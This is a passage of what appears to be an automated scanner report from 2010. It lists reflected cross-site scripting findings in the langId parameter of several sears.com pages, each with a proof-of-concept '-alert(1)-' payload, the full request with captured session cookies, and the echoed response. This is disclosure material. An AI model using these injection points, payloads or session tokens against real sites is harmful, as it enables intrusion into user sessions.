HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 18:01:38 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 18:01:38 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932298~id=cb55d44efe6c32ad24e21629d8bcb67f; path=/
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 69597


                           
...[SNIP]...
<script type="text/javascript">


   var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=d8922'-alert(1)-'9992f4af935&catalogInd=DZD&dzName=A4';
   var imagePath='http://c2.shld.net/111520/';
intIpAjaxFlag = 'FALSE';
if(storeId='10153'){
searchRedesignFlag = 'true';
}
var scene7Url='http://s.shld.net/is/image/Sea
...[SNIP]...

1.6. http://www.sears.com/shc/s/InterestItemDisplayCmd [langId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/InterestItemDisplayCmd

Issue detail

The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fa905'-alert(1)-'26f8f77d1d3 was submitted in the langId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/InterestItemDisplayCmd?storeId=10153&catalogId=12605&langId=-1fa905'-alert(1)-'26f8f77d1d3&adCell=WF HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:59:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:59:02 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932142~id=45a7051d49b7c45dcf56dd2b66a527be; path=/
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 69594


                           
...[SNIP]...
<script type="text/javascript">


   var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-1fa905'-alert(1)-'26f8f77d1d3&catalogInd=DZD&dzName=A4';
   var imagePath='http://c2.shld.net/111520/';
intIpAjaxFlag = 'FALSE';
if(storeId='10153'){
searchRedesignFlag = 'true';
}
var scene7Url='http://s.shld.net/is/image/Sea
...[SNIP]...

1.7. http://www.sears.com/shc/s/Logoff [langId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/Logoff

Issue detail

The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 80efb'-alert(1)-'c7aded6b4c0 was submitted in the langId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/Logoff?langId=-180efb'-alert(1)-'c7aded6b4c0&storeId=10153&catalogId=12605&personalizedCatalog=true&URL=SSOLogoffView&rememberMe=false HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:59:43 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:59:43 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932183~id=a9a8bb1b24240c666a4b6ee0b96b0e5a; path=/
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 69578


                           
...[SNIP]...
<script type="text/javascript">


   var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-180efb'-alert(1)-'c7aded6b4c0&catalogInd=DZD&dzName=A4';
   var imagePath='http://c2.shld.net/111520/';
intIpAjaxFlag = 'FALSE';
if(storeId='10153'){
searchRedesignFlag = 'true';
}
var scene7Url='http://s.shld.net/is/image/Sea
...[SNIP]...

1.8. http://www.sears.com/shc/s/LogonForm [langId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/LogonForm

Issue detail

The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 80251'-alert(1)-'c9d66315a2c was submitted in the langId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/LogonForm?langId=-180251'-alert(1)-'c9d66315a2c&storeId=10153&catalogId=12605&URL=TopCategoriesDisplay HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:59:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:59:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932181~id=bcc1766b45bf03a255ce6ed59e574177; path=/
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 69581


                           
...[SNIP]...
<script type="text/javascript">


   var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-180251'-alert(1)-'c9d66315a2c&catalogInd=DZD&dzName=A4';
   var imagePath='http://c2.shld.net/111520/';
intIpAjaxFlag = 'FALSE';
if(storeId='10153'){
searchRedesignFlag = 'true';
}
var scene7Url='http://s.shld.net/is/image/Sea
...[SNIP]...

1.9. http://www.sears.com/shc/s/OpenIdModalPopUpView [langId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/OpenIdModalPopUpView

Issue detail

The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 59c66'-alert(1)-'46c01fb8d45 was submitted in the langId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/OpenIdModalPopUpView?langId=-159c66'-alert(1)-'46c01fb8d45&storeId=10153&catalogId=12605&OIDFlowType=&OIDIdentifier=&errorMessage=&globalId=&mergeStatus=&user_state=&partNumber=&catEntryIdScim=&RegistryType=&qty_GR=&fromPage=&clubIdForUser=&pwdErrorCode=&emailErrorCode=&userregbean= HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:59:46 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:59:46 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932186~id=ffc7009835bbc0e14662a5a0fec1023b; path=/
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 69592


                           
...[SNIP]...
<script type="text/javascript">


   var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-159c66'-alert(1)-'46c01fb8d45&catalogInd=DZD&dzName=A4';
   var imagePath='http://c2.shld.net/111520/';
intIpAjaxFlag = 'FALSE';
if(storeId='10153'){
searchRedesignFlag = 'true';
}
var scene7Url='http://s.shld.net/is/image/Sea
...[SNIP]...

1.10. http://www.sears.com/shc/s/OrderStatusLoginModalView [langId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/OrderStatusLoginModalView

Issue detail

The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f0abf'-alert(1)-'f6442f1fc2a was submitted in the langId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/OrderStatusLoginModalView?langId=-1f0abf'-alert(1)-'f6442f1fc2a&storeId=10153&catalogId=12605&shcapiBypassSSO=true HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_a=s%5fa; fsr.s={"v":1,"rid":"1289929915628_801695","pv":2,"to":3.3,"c":"http://www.sears.com/shc/s/v_10153_12605_Gifts","lc":{"d3":{"v":2,"s":false}},"cd":3,"sd":3,"cp":{"betaprod":"prod-vX-","local":"prod-vX-"},"f":1289929993552}; KI_FLAG=false; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; WC_SESSION_ESTABLISHED=true; fsr.a=1289929967285; KI_UNIT_NO=""; mbox=check#true#1289930055|session#1289929908188-155067#1289931856|PC#1289929908188-155067.20#1292521996; WC_PERSISTENT=T9QxJzeOrw4vVRXRyWC12uE%2bNpA%3d%0a%3b2010%2d11%2d16+11%3a52%3a11%2e213%5f1289929919220%2d543%5f10153%5f%2d1002%2c%2d1%2cUSD%5f10153; s_pers=%20gpv_pn%3DVertical%2520%253E%2520Fitness%2520%2526%2520Sports%7C1289931801607%3B%20s_v47%3D%255B%255B'Gifts'%252C'1289929991940'%255D%252C%255B'Fitness%252520%252526%252520Sports'%252C'1289930001623'%255D%255D%7C1447696401623%3B; akamaiCookie=null%7C%7C%7C%7Cfalse%7C%7C%7C0; social_wcid_10153=14555041809a; wcid_10153=-1002; KI_ZIP_CODE=""; KI_USER_AGENT=false; WC_ACTIVEPOINTER=%2d1%2c10153; ot=prod-vX-; SVert=All%20Products; _br_uid_1=uid%3D5299708317034%3A; JSESSIONID=0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6r; IntnlShip=US|USD; akaau=1289931719~id=adf360e04020395e685f12f84d93dcbb; s_r=s%5fr; recentActivityData=%22activityType%22%3A%22Verticals%20Browsed%22%2C%22activityValue%22%3A%22%2523Gifts%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%2523%22%2C%22description%22%3A%22You%2520have%2520browsed%2520Gifts%2520vertical.%22%2C%22site%22%3A%2210153%22; s_vi=[CS]v1|26716265051D2398-600001018001CF6B[CE]; WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
s-cs: 0
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:59:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:59:52 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932192~id=09c275d2ea026f16abb649c31591abd5; path=/
s-srvr: aixwcs487p.prod.ch4.s.com, prd1
Content-Length: 69597


                           
...[SNIP]...
<script type="text/javascript">


   var dynamicPopupPath='BrowseStaticPageCmd?storeId=10153&catalogId=12605&langId=-1f0abf'-alert(1)-'f6442f1fc2a&catalogInd=DZD&dzName=A4';
   var imagePath='http://c2.shld.net/111520/';
intIpAjaxFlag = 'FALSE';
if(storeId='10153'){
searchRedesignFlag = 'true';
}
var scene7Url='http://s.shld.net/is/image/Sea
...[SNIP]...

1.11. http://www.sears.com/shc/s/StoreLocatorView [langId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sears.com
Path:   /shc/s/StoreLocatorView

Issue detail

The value of the langId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ff1db'-alert(1)-'1ae8bf9ac1d was submitted in the langId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shc/s/StoreLocatorView?storeId=10153&catalogId=12605&langId=-1ff1db'-alert(1)-'1ae8bf9ac1d&adCell=WF HTTP/1.1
Host: www.sears.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
